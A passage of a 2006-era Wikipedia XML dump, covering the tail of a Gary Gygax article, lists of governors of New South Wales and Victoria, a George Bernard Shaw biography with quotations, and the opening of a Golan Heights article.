*&quot;''Duty''&quot; (Fantasy short story in Excalibur, anthology) &amp;ndash; Warner Books, 1995
*&quot;''Get on Board the D Train''&quot; (Horror short story in Dante’s Disciples anthology) &amp;ndash; White Wolf, Inc., 1996
*''Evening Odds''&quot; (Fantasy short story with Gord the Rogue sharing Michael Moorcock’s Eternal Champions universe) &amp;ndash; White Wolf, Inc., 1997

===Periodicals===
*''The Crusader'' &amp;ndash; magazine, column on the creation of the D&amp;D game beginning 2005
*''[[Dragon (magazine)|Dragon Magazine]]'' - author to 1985, and a columnist therein 1999 to 2004
*''Journeys Journal'' (GDW) -  contributor in each of six issues published through 1993
*''Lejends'' (Total Reality Studios) &amp;ndash; magazine, major contributor, 2001 to 2003
*''Mythic Masters'' (Trigee) - magazine, primary author of entire 64-page magazine for each of six issues published through 1994
*''The Strategic Review'' (Tactical Studies Rules) &amp;ndash; magazine, primary author of entire magazine for each of the initial four issues, and a major contributor to the balance of all issues until DRAGON Magazine came into print.

==Bibliography==
&lt;references/&gt;

==External links==
{{wikiquote}}

* [http://www.lejendary.com/la/template.php?page=garygygax&amp;style=blaze Interview by Christopher Smith on LA website]

* [http://www.trolllord.com/gygax.htm Gygax] &amp;ndash; Troll Lord Games
* [http://www.wizards.com/dnd/ Dungeons and Dragons Official Home Page]
* [http://www.bbc.co.uk/dna/h2g2/alabaster/A683688 E.Gary Gygax - Father of Role Play]
* [http://www.kittenpants.org/11_Loneliest/gygax.asp Kittenpants.org interview]

[[Category:1938 births|Gygax, Gary]]
[[Category:Living people|Gygax, Gary]]
[[Category:Dungeons &amp; Dragons authors|Gygax, Gary]]
[[Category:American fantasy writers|Gygax, Gary]]
[[Category:Greyhawk authors|Gygax, Gary]]
[[Category:Role-playing game designers|Gygax, Gary]]
[[Category:Futurama actors|Gygax, Gary]]
[[Category:Board game designers|Gygax, Gary]]

[[da:Gary Gygax]]
[[de:Gary Gygax]]
[[es:Gary Gygax]]
[[fr:Gary Gygax]]
[[it:Gary Gygax]]
[[sv:Gary Gygax]]</text>
    </revision>
  </page>
  <page>
    <title>Governors of New South Wales</title>
    <id>12850</id>
    <revision>
      <id>37385139</id>
      <timestamp>2006-01-30T18:03:59Z</timestamp>
      <contributor>
        <username>HJKeats</username>
        <id>269410</id>
      </contributor>
      <comment>/* List of Governors of [[New South Wales]] */  disambig</comment>
      <text xml:space="preserve">[[Image:New_South_Wales_Governors_flag.png|thumb|250px|the flag of the Governor of New South Wales]]

The '''Governor of New South Wales''' is the representative in the [[Australia]]n state of [[New South Wales]] of Australia's head of state, [[Elizabeth II of the United Kingdom|Elizabeth II]], [[Queen of Australia]]. The Governor performs the same constitutional and ceremonial functions at the state level as does the [[Governor-General of Australia]] at the national level. 

The office of Governor of New South Wales is the oldest constitutional office in Australia. Captain [[Arthur Phillip]] assumed office as Governor of New South Wales on [[26 January]] [[1788]], the day on which he founded what is now the city of [[Sydney]], the first British settlement in Australia.

In accordance with the conventions of the [[Westminster system]] of parliamentary government, the Governor nearly always acts solely on the advice of the head of the elected government, the [[Premiers_of_New_South_Wales|Premier of New South Wales]]. Nevertheless, the Governor retains the [[reserve powers]] of the Crown, and has the right to dismiss the Premier. This power was last exercised in [[1932]], when Sir [[Philip Game]] dismissed [[Jack Lang (Australian politician)|Jack Lang]].

See [[Governors of the Australian states]] for a description and history of the office of Governor. 

===List of Governors of [[New South Wales]]===

#[[Arthur Phillip|Captain Arthur Phillip]], 1788-1792
#[[John Hunter (New South Wales)|Captain John Hunter]], 1795-1800
#[[Philip Gidley King|Captain Philip King]], 1800-1806
#[[William Bligh|Captain William Bligh]], 1806-1808 
#[[William Paterson (governor)|Colonel William Paterson]] (acting), 1809
#[[Lachlan Macquarie|Major-General Lachlan Macquarie]], 1810-1821
#[[Thomas Brisbane|Major-General Sir Thomas Brisbane]], 1821-1825
#[[Ralph Darling|Lieutenant-General Ralph Darling]], 1825-1831
#[[Richard Bourke|Major-General Sir Richard Bourke]], 1831-1837
#[[George Gipps|Sir George Gipps]], 1838-1846
#[[Sir Charles Augustus FitzRoy]], 1846-1855
#[[William Denison|Sir William Denison]], 1855-1861
#[[John Young, 1st Baron Lisgar]], 1861-1867
#[[Somerset Lowry-Corry, 4th Earl Belmore]], 1868-1872
#[[Hercules Robinson|Sir Hercules Robinson]], 1872-1879
#[[Augustus Loftus|Lord Augustus Loftus]], 1879-1885
#[[Charles Robert Wynn-Carington, 1st Marquess of Lincolnshire|Charles Wynn-Carington, 3rd Baron Carrington]], 1885-1890
#[[Victor Albert George Child-Villiers, 7th Earl of Jersey]], 1891-1893
#[[Robert Duff (politician)|Sir Robert Duff]], 1893-1895
#[[Henry Robert Brand, 2nd Viscount Hampden]], 1895-1899
#[[William Lygon, 7th Earl Beauchamp]], 1899-1901
#[[Harry Rawson|Admiral Sir Harry Rawson]], 1902-1909
#[[Frederic John Napier Thesiger, 3rd Baron Chelmsford]], 1909-1913
#[[Gerald Strickland|Sir Gerald Strickland]], 1913-1917
#[[Walter Davidson|Sir Walter Davidson]], 1918-1923
#[[Dudley de Chair|Admiral Sir Dudley de Chair]], 1924-1930
#[[Philip Game|Air Vice-Marshal Sir Philip Game]], 1930-1935
#[[Alexander Hore-Ruthven, 1st Earl of Gowrie|Brigadier-General Sir Alexander Hore-Ruthven]], 1935-1936
#[[David Anderson (Australian governor)|Admiral Sir David Anderson]], 1936
#[[John de Vere Loder, 2nd Baron Wakehurst]], 1937-1946
#[[John Northcott|General Sir John Northcott]], 1946-1957
#[[Eric Woodward|Lieutenant-General Sir Eric Woodward]], 1957-1965
#[[Arthur Roden Cutler|Sir Roden Cutler]], 1966-1981
#[[James Rowland (Australia)|Air Marshal Sir James Rowland]], 1981-1989
#[[David Martin (Governor)|Sir David Martin]], 1989-1990
#[[Peter Sinclair|Rear Admiral Peter Sinclair]], 1990-1996
#[[Gordon Samuels]], 1996-2001
#[[Marie Bashir|Prof. Marie Bashir]], 2001-present


[[Category:Governors of New South Wales|*]]</text>
    </revision>
  </page>
  <page>
    <title>Governors of Victoria</title>
    <id>12851</id>
    <revision>
      <id>39990617</id>
      <timestamp>2006-02-17T08:59:39Z</timestamp>
      <contributor>
        <username>Greentubing</username>
        <id>764766</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Flag of the Governor of Victoria.svg|thumb|right|250px|Flag of the Governor of Victoria]]

The '''Governor of Victoria''' is the representatives in the [[Australia]]n state of [[Victoria (Australia)|Victoria]] of Australia's head of state, [[Elizabeth II of the United Kingdom|Elizabeth II]], [[Queen of Australia]]. The Governor performs the same constitutional and ceremonial functions at the state level as does the [[Governor-General of Australia]] at the national level. 

In accordance with the conventions of the [[Westminster system]] of parliamentary government, the Governor nearly always acts solely on the advice of the head of the elected government, the [[Premier of Victoria]]. Nevertheless, the Governor retains the [[reserve powers]] of the Crown, and has the right to dismiss the Premier. 

See [[Governors of the Australian states]] for a description and history of the office of Governor. 

===Lieutenant-Governors===

*[[Charles La Trobe]], 1851-1854*
*[[Charles Hotham|Captain Sir Charles Hotham]], 1854-1855
&lt;nowiki&gt;*&lt;/nowiki&gt; La Trobe was Superintendent of the Port Phillip District of New South Wales 1839-1851

===Governors===

*[[Charles Hotham|Captain Sir Charles Hotham]], 1855
*[[Henry Barkly|Sir Henry Barkly]], 1856-1863
*[[Charles Darling|Sir Charles Darling]], 1863-1866
*[[John Manners-Sutton|Sir John Manners-Sutton]], 1866-1873
*[[George Bowen|Sir George Bowen]], 1873-1879
*[[George Phipps, Marquess of Normanby]], 1879-1884
*[[Henry Loch|Sir Henry Loch]], 1884-1889
*[[John Hope, 1st Marquess of Linlithgow|John Hope, 7th Earl of Hopetoun]], 1889-1895
*[[Thomas Brassey, 1st Earl Brassey|Thomas Brassey, 1st Baron Brassey]], 1895-1900
*[[George Clarke (Victoria)|Sir George Clarke]], 1901-1903
*[[Reginald Talbot|Major-General Sir Reginald Talbot]], 1904-1908
*[[Thomas Gibson-Carmichael, 1st Baron Carmichael|Sir Thomas Gibson-Carmichael]], 1908-1911
*[[John Fuller (Australian governor)|Sir John Fuller]], 1911-1914
*[[Arthur Stanley|Sir Arthur Stanley]], 1914-1920
*[[George Edward John Mowbray Rous, 3rd Earl of Stradbroke|Colonel George Rous, 3rd Earl of Stradbroke]], 1921-1926
*[[Arthur Herbert Tennyson Somers Cocks, 6th Baron Somers|Lieutentant-Colonel Arthur Somers Cocks, 6th Baron Somers]], 1926-1931
*[[William Charles Arcedeckne Vanneck, 5th Baron Huntingfield|Captain William Vannecke, 5th Baron Huntingfield]], 1934-1939
*[[Winston Dugan|Major-General Sir Winston Dugan]], 1939-1949
*[[Dallas Brooks|General Sir Dallas Brooks]], 1949-1963
*[[Rohan Delacombe|Major-General Sir Rohan Delacombe]], 1963-1974
*[[Henry Winneke|Sir Henry Winneke]], 1974-1982
*[[Brian Murray|Rear-Admiral Sir Brian Murray]], 1982-1985
*[[Davis McCaughey|The Reverend Dr Davis McCaughey]], 1986-1992
*[[Richard McGarvie]], 1992-1997
*[[James Gobbo|Sir James Gobbo]], 1997-2000
*[[John Landy]], 2001-present


*[[David de Kretser|Professor David de Kretser]] (Announced as the new Governor from April 2006)
[[category:Government of Victoria]]
[[category:Australian viceroys|Victoria]]
[[Category:Governors of Victoria|*]]</text>
    </revision>
  </page>
  <page>
    <title>List of Governors of Tasmania</title>
    <id>12852</id>
    <revision>
      <id>15910507</id>
      <timestamp>2004-02-21T04:57:27Z</timestamp>
      <contributor>
        <username>Wik</username>
        <id>15756</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Governors of Tasmania]]</text>
    </revision>
  </page>
  <page>
    <title>George Bernard Shaw</title>
    <id>12855</id>
    <revision>
      <id>41994172</id>
      <timestamp>2006-03-03T02:34:19Z</timestamp>
      <contributor>
        <ip>206.255.136.154</ip>
      </contributor>
      <comment>... And not all of the quotes you removed are on WikiQuote.  Putting them back for now.</comment>
      <text xml:space="preserve">'''George Bernard Shaw''' ([[July 26]], [[1856]] &amp;ndash; [[November 2]], [[1950]]) was an [[Ireland|Irish]] [[playwright]] and winner of the [[Nobel Prize in literature|Nobel Prize for Literature]] in 1925.  After those of [[William Shakespeare]], Shaw's plays are some of the most widely produced in English language theatre.

[[Image:George bernard shaw.jpg|thumbnail|George Bernard Shaw]]

==Biography==
Born at 33 Synge Street in [[Dublin, Ireland]] to rather poor [[Protestantism|Protestant]] parents, Shaw was educated at [[Wesley College, Dublin]] and moved to [[London]] during the 1870s to embark on his literary career. He wrote five [[novel]]s, all of which were rejected, before finding his first success as a music critic on the ''Star'' newspaper.  In the meantime he had become involved in politics, and served as a local councillor in the [[St Pancras (district)|St Pancras]] district of London for several years from 1897. He was a noted [[Socialism|socialist]] who took a leading role in the [[Fabian Society]].

In 1895, he became the drama critic of the ''Saturday Review'', and this was the first step in his progress towards a lifetime's work as a dramatist.  In 1898, he married an Irish heiress, Charlotte Payne-Townshend. His first successful play, ''Candida'', was produced in the same year.  He followed this up with a series of classic comedy-dramas, including ''[[The Devil's Disciple]]'' (1897), ''[[Arms and the Man]]'' (1898), ''[[Mrs. Warren's Profession]]'' (1898), ''[[Captain Brassbound's Conversion]]'' (1900), ''[[Man and Superman]]'' (1903), ''[[Caesar and Cleopatra]]'' (1901), ''[[Major Barbara]]'' (1905), ''[[Androcles and the Lion]]'' (1912), and ''[[Pygmalion (play)|Pygmalion]]'' (1913). After [[World War I]], during which he was a staunch pacifist, he produced more serious dramas, including ''Heartbreak House'' (1919) and ''[[Saint Joan (play)|Saint Joan]]'' (1923). A characteristic of Shaw's published plays is the lengthy prefaces that accompany them. In these essays, Shaw wrote more about his usually controversial opinions on the issues touched by the plays than about the plays themselves. Some prefaces are much longer than the actual play.

The political turmoil in his native country did not leave him untouched. He is said to have commented regarding the [[Easter Rising]] that not enough slum homes were destroyed that could have been rebuilt, and he campaigned against the executions of the rebel leaders. Shaw became a personal friend of the [[County Cork|Cork]]-born [[Irish Republican Army (1922-1969)|IRA]] leader [[Michael Collins (Irish leader)|Michael Collins]], whom he invited to his home for dinner while Collins was negotiating the [[Anglo-Irish Treaty]] with [[Lloyd-George]] in London. After Collins' assassination in 1922, Shaw sent a personal message of condolence to one of Collins' sisters.

Shaw's correspondence with [[Mrs Patrick Campbell|Mrs. Patrick Campbell]] was adapted for the stage by Jerome Kilty as ''DEAR LIAR: A Comedy of Letters''. His letters to another prominent actress, [[Ellen Terry]], have also been published and dramatised.

By the time of his death, Shaw was not only a household name in [[Britain]], but a world figure.  His ironic wit endowed the language with the adjective &quot;Shavian&quot;, to refer to such clever observations as &quot;England and [[United States|America]] are two countries divided by a common language.&quot; [http://www.worldandi.com/newhome/public/2003/may/bkpub.asp]

Concerned about the inconsistency of [[English spelling]], he willed a portion of his wealth to fund the creation of a new [[Phoneme|phonemic]] alphabet for the [[English language]]. On his death bed, he did not have much money to leave so no effort was made to start such a project. However, his estate began to earn significant royalties from the rights to ''Pygmalion'' when ''[[My Fair Lady]]'', a [[musical theater|musical]] based on the play, became a hit.  It then became clear that the will was so badly worded that the relatives had grounds to challenge the will and in the end an out of court settlement granted a small portion of the money to promoting a new alphabet. This became known as the [[Shavian alphabet]]. The [[National Gallery of Ireland]] also received a substantial donation.

Shaw had a long time friendship with [[G. K. Chesterton]], the [[Catholic]]-convert British writer, and there are many humorous stories about their complicated relationship. Another great friend was the composer [[Edward Elgar]].

Shaw is the only person ever to have won both a Nobel Prize (Literature in 1925) and an [[Academy Award]] (Best Screenplay for Pygmalion in 1938).

From 1906 until his death in 1950 at the age of 94 from natural causes, Shaw lived at [[Shaw's Corner]] in the small village of [[Ayot St Lawrence]], [[Hertfordshire]]. The house is now a [[National Trust for Places of Historic Interest or Natural Beauty|National Trust]] property, open to the public.

The Shaw Theatre, Euston Road, London was opened in 1971 to honour G.B. Shaw.

==Vegetarianism==
George Bernard Shaw was a noted vegetarian. The following was taken from the archives of the Vegetarian UK:

&lt;blockquote&gt;The Summer of 1946 seems to have been a season of anniversaries and memorials. The Vegetarian Society itself was looking forward to its 100th anniversary and giving its members advance warnings of celebratory plans.&lt;/blockquote&gt;

&lt;blockquote&gt;But the big story of the July issue of The Vegetarian Messenger was the tribute to George Bernard Shaw, celebrating his 90th birthday on the 26th of that month. He had, at that time, been a vegetarian for 66 years and was commended as one of the great thinkers and dramatists of his era. &quot;No writer since Shakespearean times has produced such a wealth of dramatic literature, so superb in expression, so deep in thought and with such dramatic possibilities as Shaw.&quot; The writer was a staunch vegetarian, anti-vivisectionist and opponent of cruel sports.&lt;/blockquote&gt;

See link below for quotes related to vegetarianism and George Bernard Shaw.

==Socialism and Political Beliefs==
Shaw had a vision (letter to Henry James in 1, 17, 1909): “I, as a Socialist, have had to preach, as much as anyone, the enormous power of the environment. We can change it; we must change it; there is absolutely no other sense in life than the task of changing it. What is the use of writing plays, what is the use of writing anything, if there is not a will which finally moulds chaos itself into a race of gods.” Shaw held that each class worked towards its own ends, and that those from the upper echelons had won the struggle; for him, the working class had failed in promoting their interests effectively, making Shaw highly critical of the democratic system of his day. The writing of Shaw, such as Major Barbara and Pygmalion, has a background theme of class struggle. An awareness of his socialism is required to understand the man and his plays.

Shaw’s second labor—after theater—was in support of socialism. In 1882 Henry George’s lecture on land nationalization gave depth and direction to Shaw’s political ideology. Shortly thereafter he applied to join the [[Social Democratic Federation]]. Its leader [[H. M. Hyndman]] introduced him to the works of Karl Marx. Instead in May of 1884 he joined the newly-formed [[Fabian Society]]. He played a pivotal role with the Fabian Society and wrote a number of their pamphlets. He argued that property was theft and for an equitable distribution of land and capital. Shaw favored gradualism over revolution. He was involved with the formation of the Labour Party. For a common sense statement of his position read ''The Intelligent Women’s Guide to Socialism, Capitalism, Sovietism, and Fascism''. A second source for Shaw’s radical ideas are the often lengthy prefaces to his plays.

==Quotations==
{{wikiquote}}
*&quot;The power of accurate observation is commonly called cynicism by those who have not got it.&quot;
*&quot;Whilst we have prisons it matters little which of us occupy the cells.&quot;
*&quot;The reasonable man adapts himself to the world.  The unreasonable man persists in trying to adapt the world to himself.  Therefore, all progress depends on the unreasonable man.&quot;
*&quot;Do not do unto others as you expect they should do unto you. Their tastes may not be the same.&quot;
*&quot;Most people would rather die sooner than think. In fact, they do so.&quot;
*&quot;Lack of money is the root of all evil.&quot;
*&quot;Youth is wasted on the young.&quot;
*&quot;Democracy is a system ensuring that the people are governed no better than they deserve.&quot;
*&quot;I can forgive Alfred Nobel for inventing dynamite, but only a fiend in human form could have invented the Nobel Prize.&quot;
*&quot;The main difference between the opposition of Islam to Hinduism and the opposition between Protestant and Catholic is that the Catholic persecutes as fiercely as the Protestant when he has the power; but Hinduism cannot persecute, because all the Gods---and what goes deeper, the no Gods---are to be found in its Temples.&quot;
*&quot;Democracy substitutes election by the incompetent many for appointment by the corrupt few.&quot;
*&quot;The fact that a believer is happier than a skeptic is no more to the point than the fact that a drunken man is happier than a sober one.  The happiness of credulity is a cheap and dangerous quality.&quot;
* (To a woman who wrote to him that she wanted to have children with him because, she was beautiful and he was very smart. Therefore, their children would be smart and beautiful.) &quot;What if our children are as ugly as I am and as silly as you are?&quot;
* &quot;Irish history is something no Englishman should forget and no Irishman should remember.&quot;
* &quot;I learned long ago, never to wrestle with a pig. You get dirty, and besides, the pig likes it.&quot;
* &quot;Hell is full of musical amateurs.&quot;
* &quot;No man ever believes that the Bible means what it says: He is always convinced that it says what he means.&quot;
* &quot;The secret of success is to offend the greatest number of people.&quot;
* &quot;I have always held the religion of Muhammad in high estimation because of its wonderful vitality.  It is the only religion which appears to me to possess that assimilating capacity to the changing phase of existence which can make itself appeal to every age.  I have studied him - the wonderful man and in my opinion far from being an anti-Christ, he must be called the Saviour of Humanity.  I believe that if a man like him were to assume the dictatorship of the modern world, he would succeed in solving its problems in a way that would bring it the much needed peace and happiness: I have prophesied about the faith of Muhammad that it would be acceptable to the Europe of tomorrow as it is beginning to be acceptable to the Europe of today.&quot;
* &quot;This is the true joy in life, the being used for a purpose recognized by yourself as a mighty one; the being thoroughly worn out before you are thrown on the scrap heap; the being a force of nature instead of a feverish selfish little clod of ailments and grievances complaining that the world will not devote itself to making you happy.  I am of the opinion that my life belongs to the whole community and as long as I live it is my privilege to do for it whatever I can.&quot;
* &quot;It is impossible for an Englishman to open his mouth without making some other Englishman hate or despise him.&quot;

==Works==
{{wikisource author}}
===Dramatic=== ''(Incomplete)''
* ''Plays Unpleasant'':
** ''[[Widowers' Houses]]'' (1892)
** ''[[The Philanderer]]'' (1898)
** ''[[Mrs. Warren's Profession]]'' (1898)
* ''Plays Pleasant'':
** ''[[The Man of Destiny]]'' (1897)
** ''[[Arms and the Man]]'' (1898)
** ''[[Candida (play)|Candida]]'' (1898)
** ''[[You Never Can Tell]]'' (1898)
* ''Three Plays for Puritans'':
** ''[[The Devil's Disciple]]'' (1897)
** ''[[Captain Brassbound's Conversion]]'' (1900)
** ''[[Caesar and Cleopatra]]'' (1901)
* ''[[Man and Superman]]'' (1902)
* ''[[John Bull's Other Island]]'' (1904)
* ''[[Major Barbara]]'' (1905)
* ''[[The Doctor's Dilemma]]'' (1906)
* ''[[Getting Married]]'' (1908)
* ''[[Dark Lady of the Sonnets]]'' (1910)
* ''[[Fanny's First Play]]'' (1911)
* ''[[Androcles and the Lion]]'' (1912)
* ''[[Pygmalion (play)|Pygmalion]]'' (1913)
* ''[[Heartbreak House]]'' (1919)
* ''[[Back to Methuselah]]'' (1921)
** ''[[Back to Methuselah|In the Beginning]]''
** ''[[Back to Methuselah|The Gospel of the Brothers Barnabas]]''
** ''[[Back to Methuselah|The Thing Happens]]''
** ''[[Back to Methuselah|Tragedy of an Elderly Gentleman]]''
** ''[[As Far as Thought Can Reach: A.D. 31,920|As Far as Thought Can Reach]]''
* ''[[Saint Joan (play)|Saint Joan]]'' (1923)
* ''[[The Apple Cart]]'' (1929)
* ''[[Geneva, a Fancied Page of History in Three Acts|Geneva]]''
* ''[[Misalliance]]''
* ''[[The Six of Calais]]''
* ''[[The Glimpse of Reality]]''
* ''[[How He Lied to Her Husband]]''

===Novels &amp; collections of essays ===
* ''[[Commonsense about the War]]''
* ''[[The Intelligent Woman's Guide to Socialism and Capitalism]]''
* ''[[The Black Girl in Search of God]]''
*''Everybody's Political What's What?'' 1944 Constable and Company Ltd

===Music criticism ===
* ''[[The Perfect Wagnerite: A Commentary on the Niblung's Ring]]'',  ''1923''

== See also ==
* [[List of people on stamps of Ireland]]

==External links==
*George Bernard Shaw and the [http://www.ivu.org/history/shaw/ History of Vegetarianism and his works related to vegetarianism]
* [http://www.worldandi.com/newhome/public/2003/may/bkpub.asp Biography] in ''The World &amp; I'' magazine
* {{gutenberg author| id=George+Bernard+Shaw | name=George Bernard Shaw}}
*[http://literalsystems.org/abooks/doku.php?id=audiobook:excerpt_from_caesar_and_cleopatra &quot;Excerpt from Caesar and Cleopatra&quot; Creative Commons audio recording.]
* [http://www.shawfest.com/  The Shaw Festival at Niagara-on-the-Lake, Ontario, Canada.] A town and theatre dedicated to staging the plays and dramas of George Bernard Shaw.
* [http://www.lib.uoguelph.ca/resources/archives/special_collections/danlaurence_collection.htm  Dan H. Laurence/Shaw Collection] in the University of Guelph Library, Archival and Special Collections, holds more than 3,000 items related to his writings and career
* [http://atheisme.free.fr/Biographies/Shaw_e.htm Biography and quotes of George Bernard Shaw]

{{start box}}
{{succession box | before = [[Wladyslaw Reymont]] | title = [[List of Nobel laureates#Literature|Nobel Prize in Literature winner]] | years =1925 | after = [[Grazia Deledda]]
}}
{{end box}}

{{Shaw}}

[[Category:1856 births|Shaw, George Bernard]]
[[Category:1950 deaths|Shaw, George Bernard]]
[[Category:Autodidacts|Shaw, George Bernard]]
[[Category:British academics|Shaw, George Bernard]]
[[Category:British dramatists and playwrights|Shaw, George Bernard]]
[[Category:British essayists|Shaw, George Bernard]]
[[Category:British linguists|Shaw, George Bernard]]
[[Category:Irish dramatists and playwrights|Shaw, George Bernard]]
[[Category:Natives of County Dublin|Shaw, Geo]]
[[Category:Nobel Prize in Literature winners|Shaw, George Bernard]]
[[Category:People associated with the London School of Economics|Shaw, George Bernard]]
[[Category:Socialists|Shaw, George Bernard]]
[[Category:Teetotalers|Shaw, George Bernard]]
[[Category:Vegetarians|Shaw, George Bernard]]
[[Category:Writing Adapted Screenplay Oscar|Shaw, George Bernard]]
[[Category:Wagnerites|Shaw, George Bernard]]

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[[zh:萧伯纳]]</text>
    </revision>
  </page>
  <page>
    <title>Golan Heights</title>
    <id>12856</id>
    <revision>
      <id>41300907</id>
      <timestamp>2006-02-26T11:13:12Z</timestamp>
      <contributor>
        <username>Tasc</username>
        <id>853739</id>
      </contributor>
      <minor />
      <comment>hide links, which have to be moved elsewhere</comment>
      <text xml:space="preserve">[[Image:Golan 92.jpg|thumb|right|300px|Sites on the Golan in blue are Israeli settlement communities. Sites on the Golan in black are Druze and Circassian communities. The Golan Heights are surrounded by four countries: [[Lebanon]] - [[Syria]] - [[Jordan]] - [[Israel]].]]

The '''Golan Heights''' ([[Arabic language|Arabic]]: هضبة الجولان ''Hadhbat al-Jaulan'', [[Hebrew language|Hebrew]]: רמת הגולן ''Ramat HaGolan'') or '''Golan''', formerly also known as the Syrian Heights &lt;!-- find another place for these links [http://www.gush-shalom.org/archives/article244.html][http://www.globalsecurity.org/intell/world/lebanon/intro.htm],--&gt; are a plateau on the border of [[Israel]], [[Lebanon]], [[Jordan]] and [[Syria]]. Israel captured the Heights from Syria in the 1967 [[Six-Day War]] (and again in the 1973 [[Yom Kippur War]]).  In 1981, it applied its &quot;laws, jurisdiction and administration&quot; in the Golan Heights&lt;!-- not a place for link [http://www.mfa.gov.il/MFA/Peace+Process/Guide+to+the+Peace+Process/Golan+Heights+Law.htm]--&gt;.  Syria asserts that the Heights are part of the governorate of [[Al Qunaytirah]]. The international community considers the area Syrian territory under [[Israeli-occupied territories|Israeli occupation]], but Israel has a more complex position. (See ''[[Golan_Heights#Current status|Current status]]'' below).

==Geography==
[[Image:Golanhospital.jpg|thumb|The Golan Hospital in Al-Qunaytirah as it appears today]]
[[Image:300px-GolanHeights-mill.jpg|thumb|[[Wind turbine]] in the Golan Heights]]
[[Geography|Geographically]], the Heights are bordered on the west by a rock escarpment that drops 1700 feet (500 m) to the [[Sea of Galilee]] and the [[Jordan River]]; on the south by the [[Yarmouk River]]; on the north by the international border with Lebanon, and on the east by a largely flat plain, called the [[Hauran]]. The Golan is usually divided into three regions: northern (between Nahals Sa'ar and Gilabon), central (between Nahals Gilabon and Dilayot), and southern (between Nahal Dilayot and the Yarmouk Valley).

[[Geology|Geologically]], the Golan Heights are a [[plateau]], and part of a [[Holocene]] [[volcanic field]] that extends northeast almost to [[Damascus]].  The entire area is scattered with inactive [[volcanic cone#cinder cone|cinder cone]]s such as [[Majdal Shams]].  [[Mount Hermon]] is in the northern Golan Heights but is geologically separate from the volcanic field.  Near Hermon is a [[crater lake]] called [[Birkat Ram]] (&quot;Ram Pool&quot;) which is fed by underground springs.

'''Streams in the Golan Heights''':

* [[Yarmouk River]]
* [[Jilabun]]
* [[Dlaiot]]
* [[Jehudia]]
* [[Mitzar]]
* [[Samekh]]

&lt;!-- Unsourced image removed: [[Image:250px-Yarmooch.jpg|thumb|the [[Yarmouk River]]]] --&gt;

== Current status ==
The [[Israel Defense Forces|Israeli army]] captured the Heights and put them under military administration from 1967 until 1981, when the [[Knesset]] passed  ''The Golan Heights Law''[http://www.mfa.gov.il/MFA/Peace+Process/Guide+to+the+Peace+Process/Golan+Heights+Law.htm], similar to its 1967 measures concerning [[Jerusalem]].  Most of the Arab residents of the Golan Heights, mainly [[Druze]], retain their Syrian citizenship even though Israeli citizenship is available to them. Syria continues to offer them some benefits such as free university tuition.

Israel's measures are frequently termed &quot;annexation&quot; but the real status of the Golan is very far from legally clear - the word &quot;annexation&quot; or equivalent concepts, like &quot;extending sovereignty,&quot; are not used in the law itself.  In any case, the result of the extension of sovereignty/annexation has been an end to the application of military regulations to the populace&lt;!-- i think this is what was meant here, since the military occupation clearly continues--&gt;.   It has also been noted that the Golan Heights may return to Syria as part of a peace settlement.

When Prime Minister [[Menachem Begin]] was asked in the Knesset why he was risking international criticism for this annexation, he replied  &quot;You use the word annexation, but I am not using it.&quot; [http://www.mepc.org/public_asp/journal_vol5/9701_lustick.asp]  The governmental [[Jewish Agency for Israel]] states that &quot;Although reported as a&lt;!--an/[sic]?--&gt; annexation, it is not: the Golan Heights are not declared to be Israeli territory.&quot;[http://www.jafi.org.il/education/jafi75/timeline7b.html#1]  On the other hand, the [[Netanyahu]] government's Basic Policy Guidelines stated &quot;The government views the Golan Heights as essential to the security of the state and its water resources. Retaining Israel's sovereignty over the Golan will be the basis for an arrangement with Syria.&quot;[http://www.netanyahu.org/golanheights.html] Neither the [[UN]] nor any country has recognised the &quot;annexation&quot; and they officially consider the Heights to be Syrian territory under Israeli [[military occupation]]. This view was expressed in the unanimous [[UN Security Council Resolution 497]] stating that &quot;the Israeli decision to impose its laws, jurisdiction and administration in the occupied Syrian Golan Heights is null and void and without international legal effect.&quot;  It, like other relevant UN resolutions takes care to not explicitly call it an &quot;annexation&quot;, referring at most to Israel's &quot;annexationist policies.&quot;  

Additionally, [[Lebanon]] claims a small portion of the area known as [[Shebaa Farms]] on [[Mount Dov]] in the area of Mount Hermon. Syria's position on the subject is unclear. Syria's foreign minister has orally declared that the Shebaa farms are Lebanese, but Syria has refused to notify the UN of its position officially. Thus, from the UN perspective, Shebaa remains Syrian until the Syrian government confirm its position through official channels. [[UN Security Council Resolution 425]] confirmed ([http://www.un.org/News/Press/docs/2000/20000618.sc6878.doc.html]) that as of [[June 16]] [[2000]], Israel had completely withdrawn its forces from Lebanon, thereby indirectly designating the farms as part of the Golan, and therefore Syrian territory. The reason behind this diplomatical imbroglio is that Syria fears that recognizing the Shebaa territory as Lebanese will allow Lebanon to negotiate a separate deal with Israel. 

[[UNDOF]] (the [[United Nations]] Disengagement Observer Force) was established in 1974 to supervise the implementation of the disengagement agreement and maintain the ceasefire with an area of separation. Currently there are more than 1000 U.N peacekeepers there trying to sustain a lasting peace. Syria and Israel still contest the ownership of the Heights but have not used overt military force since 1974. The great strategic value of the Heights both militarily and as a source of water means that a deal is uncertain.

Members of the UN Disengagement force are usually the only individuals who cross the Israeli-Syrian border, but since 1988, Israel has allowed Druze pilgrims to cross the border to visit the shrine of [[Abel]] in Syria.  In 2005, Syria allowed a few trucks of Druze-grown Golan apples to be imported.  The trucks themselves were driven by Kenyan nationals.  Since 1967, brides have been allowed to cross the Golan border, but they do so in the knowledge that the journey is a one-way trip.  This phenomenon is shown in the Israeli-Arab film &quot;The Syrian Bride.&quot; The Golan Heights contains the only [[skiing|ski]] resort under Israeli control[http://galleries.news24.com/daily/20040120/18.asp] [http://news.bbc.co.uk/1/hi/world/middle_east/country_profiles/3393813.stm], and the extreme-weather unit of the [[Israel Defense Forces|IDF]], the [[Alpinistim]], train there.

Some [[Jews]] and [[Zionist]] organizations consider the Golan Heights to be liberated [[Jewish]] land; this view has very little support internationally. No other country has accepted the legality of the [[Israeli settlement]]s in the Golan Heights.

== Ancient history ==
The area has been occupied by many civilizations. During the [[3rd millennium BC | 3rd millennium BCE]] the [[Amorite]]s dominated and inhabited the Golan until the 2nd millennium, when the [[Arameans]] took over. Later known as [[Bashan]], the area was contested between [[Kingdom of Israel]] (the northern of the two Jewish kingdoms existent at that time) and the Aramean kingdom from the [[800s BCE]]. King [[Ahab]] of Israel (reigned [[870s BCE|874]]&amp;ndash;[[850s BCE|852 BCE]]) defeated Ben-Hadad I in the southern Golan.

